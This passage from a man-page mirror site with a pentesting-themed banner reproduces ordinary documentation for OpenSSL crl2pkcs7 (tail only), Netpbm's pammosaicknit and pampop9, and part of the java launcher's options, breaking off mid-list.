This command can be used to send certificates and CAs to Netscape as part of the certificate enrollment process. This involves sending the DER encoded output as MIME type application/x-x509-user-cert.

The PEM encoded form with the header and footer lines removed can be used to install user certificates and CAs in MSIE using the Xenroll control.

SEE ALSO

openssl (1), openssl-pkcs7 (1)

COPYRIGHT

Copyright 2000-2021 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2050 - Linux cli command pammosaicknit

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pammosaicknit and provides detailed information about the command pammosaicknit, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pammosaicknit.

.

NAME 🖥️ pammosaicknit 🖥️

validate a mosaic knitting pattern

SYNOPSIS

pammosaicknit [in_netpbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pammosaicknit helps the user create mosaic knitting patterns . The program inputs a black-and-white Netpbm image that describes a mosaic knitting pattern and outputs a color Netpbm image of the same pattern but with invalid runs shown in red.

A valid knitting pattern starts with a “black” row on the bottom and alternates “white” and “black” rows. A “black” row can contain any arrangement of black pixels but no more than three consecutive white pixels. A “white” row can contain any arrangement of white pixels but no more than three consecutive black pixels. Columns wrap horizontally, so a “white” row that both begins and ends with two black pixels is deemed to contain four consecutive black pixels. Because this is an invalid number for a “white” row, those four pixels will be recolored red in the output image.

For clarity, there are two shades of red in the output image. Dark red pixels indicate pixels that were black in the input image but which must contain one or more white pixels. Light red pixels indicate pixels that were white in the input image but which must contain one or more black pixels.

If the output image contains no red pixels, then the input image represents a valid mosaic knitting pattern.

OPTIONS

There are no command line options defined specifically for pammosaicknit, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

ARGUMENTS

pammosaicknit’s only argument, in_netpbmfile, is the name of an image file that represents a mosaic knitting pattern. If you don’t specify in_netpbmfile, the program reads the image from Standard Input.

NOTES

If the input image is not a black-and-white image, pammosaicknit converts it internally to black and white by thresholding each pixel’s luminosity. The output image is always a color image containing at most four colors (black, white, dark red, light red).

SEE ALSO

  • pam(1)

HISTORY

pammosaicknit was new in Netpbm 10.53 (December 2010).

AUTHOR

Copyright (C) 2010 Scott Pakin, [email protected]

Table Of Contents

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pammosaicknit.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2051 - Linux cli command pampop9

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pampop9 and provides detailed information about the command pampop9, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pampop9.

.

NAME 🖥️ pampop9 🖥️

simulate a multi-lens camera such as the Pop9

SYNOPSIS

pampop9 pnmfile|- xtiles ytiles xdelta ydelta

DESCRIPTION

This program is part of Netpbm(1) .

pampop9 tiles your starting image xtiles by ytiles times. Each of these tiles is taken from a slightly different offset within the source, as determined by the xdelta and ydelta arguments.

The top line of tiles in the output is taken from the top of the source image, the second starts with the ydelta row of the source image, the next with the 2*ydelta row, and so on. Similarly, the first column of tiles in the output is taken from the left of the source image, the next starts with the xdelta column, the next with the 2*xdelta column, and so on.

OPTIONS

There are no command line options defined specifically for pampop9, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

EXAMPLES

With a 100 x 100 source image, then the output image from pampop9 3 3 10 10 will appear to be a three-by-three grid, each tile being 80 x 80 pixels. If the origin is taken to be the top-left corner, then the top row of tiles will take start at (0, 0) (10, 0) (20, 0) within the source image, the middle row will start at (0, 10) (10, 10) (20, 10), and the bottom row at (0, 20) (10, 20) (20, 20).

HISTORY

pampop9 was new in Netpbm 10.15 (April 2003). It was adapted slightly from pampup9, which was distributed by Robert Tinsley. At that time, it was distributed via http://www.thepoacher.net/code/#pampup9. By October 2004, that URL no longer was valid.

SEE ALSO

pnmtile(1)

AUTHOR

Copyright (C) 2003 by Robert Tinsley. This software is released under the GPL ( http://www.fsf.org/licenses/gpl.txt ).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pampop9.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2052 - Linux cli command java

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command java and provides detailed information about the command java, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the java.

NAME 🖥️ java 🖥️

launch a Java application

SYNOPSIS

To launch a class file:

java [options] mainclass [args …]

To launch the main class in a JAR file:

java [options] -jar jarfile [args …]

To launch the main class in a module:

java [options] -m module[/mainclass] [args …]

or

java [options] –module module[/mainclass] [args …]

To launch a source-file program:

java [options] source-file [args …]

options
Optional: Specifies command-line options separated by spaces. See Overview of Java Options for a description of available options.

mainclass
Specifies the name of the class to be launched. Command-line entries following classname are the arguments for the main method.

-jar jarfile
Executes a program encapsulated in a JAR file. The jarfile argument is the name of a JAR file with a manifest that contains a line in the form Main-Class:classname that defines the class with the public static void main(String[] args) method that serves as your application’s starting point. When you use -jar, the specified JAR file is the source of all user classes, and other class path settings are ignored. If you’re using JAR files, then see jar.

-m or –module module[/mainclass]
Executes the main class in a module specified by mainclass if it is given, or, if it is not given, the value in the module. In other words, mainclass can be used when it is not specified by the module, or to override the value when it is specified.

See Standard Options for Java.

source-file
Only used to launch a source-file program. Specifies the source file that contains the main class when using source-file mode. See Using Source-File Mode to Launch Source-Code Programs

args
Optional: Arguments following mainclass, source-file, -jar jarfile, and -m or –module module/mainclass are passed as arguments to the main class.

DESCRIPTION

The java command starts a Java application. It does this by starting the Java Virtual Machine (JVM), loading the specified class, and calling that class’s main() method. The method must be declared public and static, it must not return any value, and it must accept a String array as a parameter. The method declaration has the following form:

public static void main(String[] args)

In source-file mode, the java command can launch a class declared in a source file. See Using Source-File Mode to Launch Source-Code Programs for a description of using the source-file mode.

Note: You can use the JDK_JAVA_OPTIONS launcher environment variable to prepend its content to the actual command line of the java launcher. See Using the JDK_JAVA_OPTIONS Launcher Environment Variable.

By default, the first argument that isn’t an option of the java command is the fully qualified name of the class to be called. If -jar is specified, then its argument is the name of the JAR file containing class and resource files for the application. The startup class must be indicated by the Main-Class manifest header in its manifest file.

Arguments after the class file name or the JAR file name are passed to the main() method.

javaw

Windows: The javaw command is identical to java, except that with javaw there’s no associated console window. Use javaw when you don’t want a command prompt window to appear. The javaw launcher will, however, display a dialog box with error information if a launch fails.

USING SOURCE-FILE MODE TO LAUNCH SOURCE-CODE PROGRAMS

To launch a class declared in a source file, run the java launcher in source-file mode. Entering source-file mode is determined by two items on the java command line:

  • The first item on the command line that is not an option or part of an option. In other words, the item in the command line that would otherwise be the main class name.

  • The –source version option, if present.

If the class identifies an existing file that has a .java extension, or if the –source option is specified, then source-file mode is selected. The source file is then compiled and run. The –source option can be used to specify the source version or N of the source code. This determines the API that can be used. When you set –source N, you can only use the public API that was defined in JDK N.

Note: The valid values of N change for each release, with new values added and old values removed. You’ll get an error message if you use a value of N that is no longer supported. The supported values of N are the current Java SE release (23) and a limited number of previous releases, detailed in the command-line help for javac, under the –source and –release options.

If the file does not have the .java extension, the –source option must be used to tell the java command to use the source-file mode. The –source option is used for cases when the source file is a “script” to be executed and the name of the source file does not follow the normal naming conventions for Java source files.

In source-file mode, the effect is as though the source file is compiled into memory, and the first class found in the source file is executed. Any arguments placed after the name of the source file in the original command line are passed to the compiled class when it is executed.

For example, if a file were named HelloWorld.java and contained a class named HelloWorld, then the source-file mode command to launch the class would be:

java HelloWorld.java

This use of source-file mode is informally equivalent to using the following two commands:

javac -d <memory> --source-path <source-root> HelloWorld.java
java --class-path <memory> HelloWorld

where <source-root> is computed

In source-file mode, any additional command-line options are processed as follows:

  • The launcher scans the options specified before the source file for any that are relevant in order to compile the source file.

    This includes: –class-path, –module-path, –add-exports, –add-modules, –limit-modules, –patch-module, –upgrade-module-path, and any variant forms of those options. It also includes the new –enable-preview option, described in JEP 12.

  • No provision is made to pass any additional options to the compiler, such as -processor or -Werror.

  • Command-line argument files (@-files) may be used in the standard way. Long lists of arguments for either the VM or the program being invoked may be placed in files specified on the command-line by prefixing the filename with an @ character.

In source-file mode, compilation proceeds as follows:

  • Any command-line options that are relevant to the compilation environment are taken into account. These include: –class-path/-classpath/-cp, –module-path/-p, –add-exports, –add-modules, –limit-modules, –patch-module, –upgrade-module-path, –enable-preview.

  • The root of the source tree, <source-root> is computed from the package of the class being launched. For example, if HelloWorld.java declared its classes to be in the hello package, then the file HelloWorld.java is expected to reside in the directory somedir/hello/. In this case, somedir is computed to be the root of the source tree.

  • The root of the source tree serves as the source-path for compilation, so that other source files found in that tree and are needed by HelloWorld could be compiled.

  • Annotation processing is disabled, as if -proc:none is in effect.

  • If a version is specified, via the –source option, the value is used as the argument for an implicit –release option for the compilation. This sets both the source version accepted by compiler and the system API that may be used by the code in the source file.

  • If –enable-preview is specified, the –source N arguments can be omitted. If the Java runtime version is N, then –release N is implied when compiling source files.

  • If a module-info.java file exists in the <source-root> directory, its module declaration is used to define a named module that will contain all the classes compiled from .java files in the source tree. If module-info.java does not exist, all the classes compiled from source files will be compiled in the context of the unnamed module.

  • The source file that is launched should contain one or more top-level classes, the first of which is taken as the class to be executed.

  • For the source file that is launched, the compiler does not enforce the optional restriction defined at the end of JLS 7.6, that a type in a named package should exist in a file whose name is composed from the type name followed by the .java extension.

  • If a source file contains errors, appropriate error messages are written to the standard error stream, and the launcher exits with a non-zero exit code.

In source-file mode, execution proceeds as follows:

  • The class to be executed is the first top-level class found in the source file. It must contain a declaration of an entry main method.

  • The compiled classes are loaded by a custom class loader, that delegates to the application class loader. This implies that classes appearing on the application class path cannot refer to any classes declared in source files.

  • If a module-info.java file exists in the <source-root> directory, then all the classes compiled from .java files in the source tree will be in that module, which will serve as the root module for the execution of the program. If module-info.java does not exist, the compiled classes are executed in the context of an unnamed module, as though –add-modules=ALL-DEFAULT is in effect. This is in addition to any other –add-module options that may be have been specified on the command line.

  • Any arguments appearing after the name of the file on the command line are passed to the main method in the obvious way.

  • It is an error if there is a class on the application class path whose name is the same as that of the class to be executed.

See JEP 458: Launch Multi-File Source-Code Programs [https://openjdk.org/jeps/458] for complete details.

USING THE JDK_JAVA_OPTIONS LAUNCHER ENVIRONMENT VARIABLE

JDK_JAVA_OPTIONS prepends its content to the options parsed from the command line. The content of the JDK_JAVA_OPTIONS environment variable is a list of arguments separated by white-space characters (as determined by isspace()). These are prepended to the command line arguments passed to java launcher. The encoding requirement for the environment variable is the same as the java command line on the system. JDK_JAVA_OPTIONS environment variable content is treated in the same manner as that specified in the command line.

Single (’) or double (") quotes can be used to enclose arguments that contain whitespace characters. All content between the open quote and the first matching close quote are preserved by simply removing the pair of quotes. In case a matching quote is not found, the launcher will abort with an error message. @-files are supported as they are specified in the command line. However, as in @-files, use of a wildcard is not supported. In order to mitigate potential misuse of JDK_JAVA_OPTIONS behavior, options that specify the main class (such as -jar) or cause the java launcher to exit without executing the main class (such as -h) are disallowed in the environment variable. If any of these options appear in the environment variable, the launcher will abort with an error message. When JDK_JAVA_OPTIONS is set, the launcher prints a message to stderr as a reminder.

Example:

$ export JDK_JAVA_OPTIONS='-g @file1 -Dprop=value @file2 -Dws.prop="white spaces"'
$ java -Xint @file3

is equivalent to the command line:

java -g @file1 -Dprop=value @file2 -Dws.prop="white spaces" -Xint @file3

OVERVIEW OF JAVA OPTIONS

The java command supports a wide range of options in the following categories:

  • Standard Options for Java: Options guaranteed to be supported by all implementations of the Java Virtual Machine (JVM). They’re used for common actions, such as checking the version of the JRE, setting the class path, enabling verbose output, and so on.

  • Extra Options for Java: General purpose options that are specific to the Java HotSpot Virtual Machine. They aren’t guaranteed to be supported by all JVM implementations, and are subject to change. These options start with -X.

The advanced options aren’t recommended for casual use. These are developer options used for tuning specific areas of the Java HotSpot Virtual Machine operation that often have specific system requirements and may require privileged access to system configuration parameters. Several examples of performance tuning are provided in Performance Tuning Examples. These options aren’t guaranteed to be supported by all JVM implementations and are subject to change. Advanced options start with -XX.

  • Advanced Runtime Options for Java: Control the runtime behavior of the Java HotSpot VM.

  • Advanced JIT Compiler Options for java: Control the dynamic just-in-time (JIT) compilation performed by the Java HotSpot VM.

  • Advanced Serviceability Options for Java: Enable gathering system information and performing extensive debugging.

  • Advanced Garbage Collection Options for Java: Control how garbage collection (GC) is performed by the Java HotSpot

Boolean options are used to either enable a feature that’s disabled by default or disable a feature that’s enabled by default. Such options don’t require a parameter. Boolean -XX options are enabled using the plus sign (-XX:+OptionName) and disabled using the minus sign (-XX:-OptionName).

For options that require an argument, the argument may be separated from the option name by a space, a colon (:), or an equal sign (=), or the argument may directly follow the option (the exact syntax differs for each option). If you’re expected to specify the size in bytes, then you can use no suffix, or use the suffix k or K for kilobytes (KB), m or M for megabytes (MB), or g or G for gigabytes (GB). For example, to set the size to 8 GB, you can specify either 8g, 8192m, 8388608k, or 8589934592 as the argument. If you are expected to specify the percentage, then use a number from 0 to 1. For example, specify 0.25 for 25%.

The following sections describe the options that are deprecated, obsolete, and removed:

  • Deprecated Java Options: Accepted and acted upon — a warning is issued when they’re used.

  • Obsolete Java Options: Accepted but ignored — a warning is issued when they’re used.

  • Removed Java Options: Removed — using them results in an error.

STANDARD OPTIONS FOR JAVA

These are the most commonly used options supported by all implementations of the JVM.

Note: To specify an argument for a long option, you can use either –name=value or –name value.

-agentlib:libname[=options]
Loads the specified native agent library. After the library name, a comma-separated list of options specific to the library can be used. If the option -agentlib:foo is specified, then the JVM attempts to load the library named foo using the platform specific naming conventions and locations:

  • Linux and other POSIX-like platforms: The JVM attempts to load the library named libfoo.so in the location specified by the LD_LIBRARY_PATH system variable.

  • macOS: The JVM attempts to load the library named libfoo.dylib in the location specified by the DYLD_LIBRARY_PATH system variable.

  • Windows: The JVM attempts to load the library named foo.dll in the location specified by the PATH system variable.

    The following example shows how to load the Java Debug Wire Protocol (JDWP) library and listen for the socket connection on port 8000, suspending the JVM before the main class loads:

    -agentlib:jdwp=transport=dt_socket,server=y,address=8000

-agentpath:pathname[=options]
Loads the native agent library specified by the absolute path name. This option is equivalent to -agentlib but uses the full path and file name of the library.

–class-path classpath, -classpath classpath, or -cp classpath
Specifies a list of directories, JAR files, and ZIP archives to search for class files.

On Windows, semicolons (;) separate entities in this list; on other platforms it is a colon (:).

Specifying classpath overrides any setting of the CLASSPATH environment variable. If the class path option isn’t used and classpath isn’t set, then the user class path consists of the current directory (.).

As a special convenience, a class path element that contains a base name of an asterisk (*) is considered equivalent to specifying a list of all the files in the directory with the extension .jar or .JAR . A Java program can’t tell the difference between the two invocations. For example, if the directory mydir contains a.jar and b.JAR, then the class path element mydir/* is expanded to A.jar:b.JAR, except that the order of JAR files is unspecified. All .jar files in the specified directory, even hidden ones, are included in the list. A class path entry consisting of an asterisk (*) expands to a list of all the jar files in the current directory. The CLASSPATH environment variable, where defined, is similarly expanded. Any class path wildcard expansion that occurs before the Java VM is started. Java programs never see wildcards that aren’t expanded except by querying the environment, such as by calling System.getenv(“CLASSPATH”).

–disable-@files
Can be used anywhere on the command line, including in an argument file, to prevent further @filename expansion. This option stops expanding @-argfiles after the option.

–enable-preview
Allows classes to depend on preview features [https://docs.oracle.com/en/java/javase/12/language/index.html#JSLAN-GUID-5A82FE0E-0CA4-4F1F-B075-564874FE2823] of the release.

–enable-native-access module[,module…]
Native access involves access to code or data outside the Java runtime. This is generally unsafe and, if done incorrectly, might crash the JVM or result in memory corruption. Methods that provide native access are restricted, and by default their use causes warnings. This option allows code in the specified modules to use restricted methods without warnings. module can be ALL-UNNAMED to indicate code on the class path. When this option is present, any use of restricted methods by code outside the specified modules causes an IllegalCallerException.

–finalization=value
Controls whether the JVM performs finalization of objects. Valid values are “enabled” and “disabled”. Finalization is enabled by default, so the value “enabled” does nothing. The value “disabled” disables finalization, so that no finalizers are invoked.

–module-path modulepath… or -p modulepath
Specifies where to find application modules with a list of path elements. The elements of a module path can be a file path to a module or a directory containing modules. Each module is either a modular JAR or an exploded-module directory.

On Windows, semicolons (;) separate path elements in this list; on other platforms it is a colon (:).

–upgrade-module-path modulepath
Specifies where to find module replacements of upgradeable modules in the runtime image with a list of path elements. The elements of a module path can be a file path to a module or a directory containing modules. Each module is either a modular JAR or an exploded-module directory.

On Windows, semicolons (;) separate path elements in this list; on other platforms it is a colon (:).

–add-modules module[,module…]
Specifies the root modules to resolve in addition to the initial module. module can also be ALL-DEFAULT, ALL-SYSTEM, and ALL-MODULE-PATH.

–list-modules
Lists the observable modules and then exits.

-d module_name or –describe-module module_name
Describes a specified module and then exits.

–dry-run
Creates the VM but doesn’t execute the main method. This –dry-run option might be useful for validating the command-line options such as the module system configuration.

–validate-modules
Validates all modules and exit. This option is helpful for finding conflicts and other errors with modules on the module path.

-Dproperty=value
Sets a system property value. The property variable is a string with no spaces that represents the name of the property. The value variable is a string that represents the value of the property. If value is a string with spaces, then enclose it in quotation marks (for example -Dfoo=“foo bar”).

-disableassertions[:[packagename]…|:classname] or -da[:[packagename]…|:classname]
Disables assertions. By default, assertions are disabled in all packages and classes. With no arguments, -disableassertions (-da) disables assertions in all packages and classes. With the packagename argument ending in …, the switch disables assertions in the specified package and any subpackages. If the argument is simply …, then the switch disables assertions in the unnamed package in the current working directory. With the classname argument, the switch disables assertions in the specified class.

The -disableassertions (-da) option applies to all class loaders and to system classes (which don’t have a class loader). There’s one exception to this rule: If the option is provided with no arguments, then it doesn’t apply to system classes. This makes it easy to disable assertions in all classes except for system classes. The -disablesystemassertions option enables you to disable assertions in all system classes. To explicitly enable assertions in specific packages or classes, use the -enableassertions (-ea) option. Both options can be used at the same time. For example, to run the MyClass application with assertions enabled in the package com.wombat.fruitbat (and any subpackages) but disabled in the class com.wombat.fruitbat.Brickbat, use the following command:

java -ea:com.wombat.fruitbat… -da:com.wombat.fruitbat.Brickbat MyClass

-disablesystemassertions or -dsa
Disables assertions in all system classes.

-enableassertions[:[packagename]…|:classname] or -ea[:[packagename]…|:classname]
Enables assertions. By default, assertions are disabled in all packages and classes. With no arguments, -enableassertions (-ea) enables assertions in all packages and classes. With the packagename argument ending in …, the switch enables assertions in the specified package and any subpackages. If the argument is simply …, then the switch enables assertions in the unnamed package in the current working directory. With the classname argument, the switch enables assertions in the specified class.

The -enableassertions (-ea) option applies to all class loaders and to system classes (which don’t have a class loader). There’s one exception to this rule: If the option is provided with no arguments, then it doesn’t apply to system classes. This makes it easy to enable assertions in all classes except for system classes. The -enablesystemassertions option provides a separate switch to enable assertions in all system classes. To explicitly disable assertions in specific packages or classes, use the -disableassertions (-da) option. If a single command contains multiple instances of these switches, then they’re processed in order, before loading any classes. For example, to run the MyClass application with assertions enabled only in the package com.wombat.fruitbat (and any subpackages) but disabled in the class com.wombat.fruitbat.Brickbat, use the following command:

java -ea:com.wombat.fruitbat… -da:com.wombat.fruitbat.Brickbat MyClass

-enablesystemassertions or -esa
Enables assertions in all system classes.

-help, -h, or -?
Prints the help message to the error stream.

–help
Prints the help message to the output stream.

-javaagent:jarpath[=options]
Loads the specified Java programming language agent. See java.lang.instrument.

–show-version
Prints the product version to the output stream and continues.

-showversion
Prints the product version to the error stream and continues.

–show-module-resolution
Shows module resolution output during startup.

-splash:imagepath
Shows the splash screen with the image specified by imagepath. HiDPI scaled images are automatically supported and used if available. The unscaled image file name, such as image.ext, should always be passed as the argument to the -splash option. The most appropriate scaled image provided is picked up automatically.

For example, to show the splash.gif file from the images directory when starting your application, use the following option:

-splash:images/splash.gif

See the SplashScreen API documentation for more information.

-verbose:class
Displays information about each loaded class.

-verbose:gc
Displays information about each garbage collection (GC) event.

-verbose:jni
Displays information about the use of native methods and other Java Native Interface (JNI) activity.

-verbose:module
Displays information about the modules in use.

–version
Prints product version to the output stream and exits.

-version
Prints product version to the error stream and exits.

-X
Prints the help on extra options to the error stream.

–help-extra
Prints the help on extra options to the output stream.

@argfile
Specifies one or more argument files prefixed by @ used by the java command. It isn’t uncommon for the java command line to be very long because of the .jar files needed in the classpath. The @argfile option overcomes command-line length limitations by enabling the launcher to expand the contents of argument files after shell expansion, but before argument processing. Contents in the argument files are expanded because otherwise, they would be specified on the command line until the –disable-@files option was encountered.

The argument files can also contain the main class name and all options. If an argument file contains all of the options required by the java command, then the command line could simply be:

java @argfile

See java Command-Line Argument Files for a description and examples of using @-argfiles.

EXTRA OPTIONS FOR JAVA

The following java options are general purpose options that are specific to the Java HotSpot Virtual Machine.

-Xbatch
Disables background compilation. By default, the JVM compiles the method as a background task, running the method in interpreter mode until the background compilation is finished. The -Xbatch flag disables background compilation so that compilation of all methods proceeds as a foreground task until completed. This option is equivalent to -XX:-BackgroundCompilation.

-Xbootclasspath/a:directories|zip|JAR-files
Specifies a list of directories, JAR files, and ZIP archives to append to the end of the default bootstrap class path.

On Windows, semicolons (;) separate entities in this list; on other platforms it is a colon (:).

-Xcheck:jni
Performs additional checks for Java Native Interface (JNI) functions.

The following checks are considered indicative of significant problems with the native code, and the JVM terminates with an irrecoverable error in such cases:

  • The thread doing the call is not attached to the JVM.

  • The thread doing the call is using the JNIEnv belonging to another thread.

  • A parameter validation check fails:

    • A jfieldID, or jmethodID, is detected as being invalid. For example:

      • Of the wrong type

      • Associated with the wrong class

    • A parameter of the wrong type is detected.

    • An invalid parameter value is detected. For example:

      • NULL where not permitted

      • An out-of-bounds array index, or frame capacity

      • A non-UTF-8 string

      • An invalid JNI reference

      • An attempt to use a ReleaseXXX function on a parameter not produced by the corresponding GetXXX function

The following checks only result in warnings being printed:

  • A JNI call was made without checking for a pending exception from a previous JNI call, and the current call is not safe when an exception may be pending.

  • A class descriptor is in decorated format (Lname;) when it should not be.

  • A NULL parameter is allowed, but its use is questionable.

  • Calling other JNI functions in the scope of Get/ReleasePrimitiveArrayCritical or Get/ReleaseStringCritical

Expect a performance degradation when this option is used.

-Xcomp
Testing mode to exercise JIT compilers. This option should not be used in production environments.

-Xdebug
Does nothing; deprecated for removal in a future release.

-Xdiag
Shows additional diagnostic messages.

-Xint
Runs the application in interpreted-only mode. Compilation to native code is disabled, and all bytecode is executed by the interpreter. The performance benefits offered by the just-in-time (JIT) compiler aren’t present in this mode.

-Xinternalversion
Displays more detailed JVM version information than the -version option, and then exits.

-Xlog:option
Configure or enable logging with the Java Virtual Machine (JVM) unified logging framework. See Enable Logging with the JVM Unified Logging Framework.

-Xmixed
Executes all bytecode by the interpreter except for hot methods, which are compiled to native code. On by default. Use -Xint to switch off.

-Xmn size
Sets the initial and maximum size (in bytes) of the heap for the young generation (nursery) in the generational collectors. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. The young generation region of the heap is used for new objects. GC is performed in this region more often than in other regions. If the size for the young generation is too small, then a lot of minor garbage collections are performed. If the size is too large, then only full garbage collections are performed, which can take a long time to complete. It is recommended that you do not set the size for the young generation for the G1 collector, and keep the size for the young generation greater than 25% and less than 50% of the overall heap size for other collectors. The following examples show how to set the initial and maximum size of young generation to 256 MB using various units:

-Xmn256m
-Xmn262144k
-Xmn268435456

Instead of the -Xmn option to set both the initial and maximum size of the heap for the young generation, you can use -XX:NewSize to set the initial size and -XX:MaxNewSize to set the maximum size.

-Xms size
Sets the minimum and the initial size (in bytes) of the heap. This value must be a multiple of 1024 and greater than 1 MB. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. The following examples show how to set the size of allocated memory to 6 MB using various units:

-Xms6291456
-Xms6144k
-Xms6m

If you do not set this option, then the initial size will be set as the sum of the sizes allocated for the old generation and the young generation. The initial size of the heap for the young generation can be set using the -Xmn option or the -XX:NewSize option.

Note that the -XX:InitialHeapSize option can also be used to set the initial heap size. If it appears after -Xms on the command line, then the initial heap size gets set to the value specified with -XX:InitialHeapSize.

-Xmx size
Specifies the maximum size (in bytes) of the heap. This value must be a multiple of 1024 and greater than 2 MB. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. The default value is chosen at runtime based on system configuration. For server deployments, -Xms and -Xmx are often set to the same value. The following examples show how to set the maximum allowed size of allocated memory to 80 MB using various units:

-Xmx83886080
-Xmx81920k
-Xmx80m

The -Xmx option is equivalent to -XX:MaxHeapSize.

-Xnoclassgc
Disables garbage collection (GC) of classes. This can save some GC time, which shortens interruptions during the application run. When you specify -Xnoclassgc at startup, the class objects in the application are left untouched during GC and are always be considered live. This can result in more memory being permanently occupied which, if not used carefully, throws an out-of-memory exception.

-Xrs
Reduces the use of operating system signals by the JVM. Shutdown hooks enable the orderly shutdown of a Java application by running user cleanup code (such as closing database connections) at shutdown, even if the JVM terminates abruptly.

  • Non-Windows:

    • The JVM catches signals to implement shutdown hooks for unexpected termination. The JVM uses SIGHUP, SIGINT, and SIGTERM to initiate the running of shutdown hooks.

    • Applications embedding the JVM frequently need to trap signals such as SIGINT or SIGTERM, which can lead to interference with the JVM signal handlers. The -Xrs option is available to address this issue. When -Xrs is used, the signal masks for SIGINT, SIGTERM, SIGHUP, and SIGQUIT aren’t changed by the JVM, and signal handlers for these signals aren’t installed.

  • Windows:

    • The JVM watches for console control events to implement shutdown hooks for unexpected termination. Specifically, the JVM registers a console control handler that begins shutdown-hook processing and returns TRUE for CTRL_C_EVENT, CTRL_CLOSE_EVENT, CTRL_LOGOFF_EVENT, and CTRL_SHUTDOWN_EVENT.

    • The JVM uses a similar mechanism to implement the feature of dumping thread stacks for debugging purposes. The JVM uses CTRL_BREAK_EVENT to perform thread dumps.

    • If the JVM is run as a service (for example, as a servlet engine for a web server), then it can receive CTRL_LOGOFF_EVENT but shouldn’t initiate shutdown because the operating system doesn’t actually terminate the process. To avoid possible interference such as this, the -Xrs option can be used. When the -Xrs option is used, the JVM doesn’t install a console control handler, implying that it doesn’t watch for or process CTRL_C_EVENT, CTRL_CLOSE_EVENT, CTRL_LOGOFF_EVENT, or CTRL_SHUTDOWN_EVENT.

There are two consequences of specifying -Xrs:

  • Non-Windows: SIGQUIT thread dumps aren’t available.

  • Windows: Ctrl + Break thread dumps aren’t available.

User code is responsible for causing shutdown hooks to run, for example, by calling System.exit() when the JVM is to be terminated.

-Xshare:mode
Sets the class data sharing (CDS) mode.

Possible mode arguments for this option include the following:

auto
Use shared class data if possible (default).

on
Require using shared class data, otherwise fail.

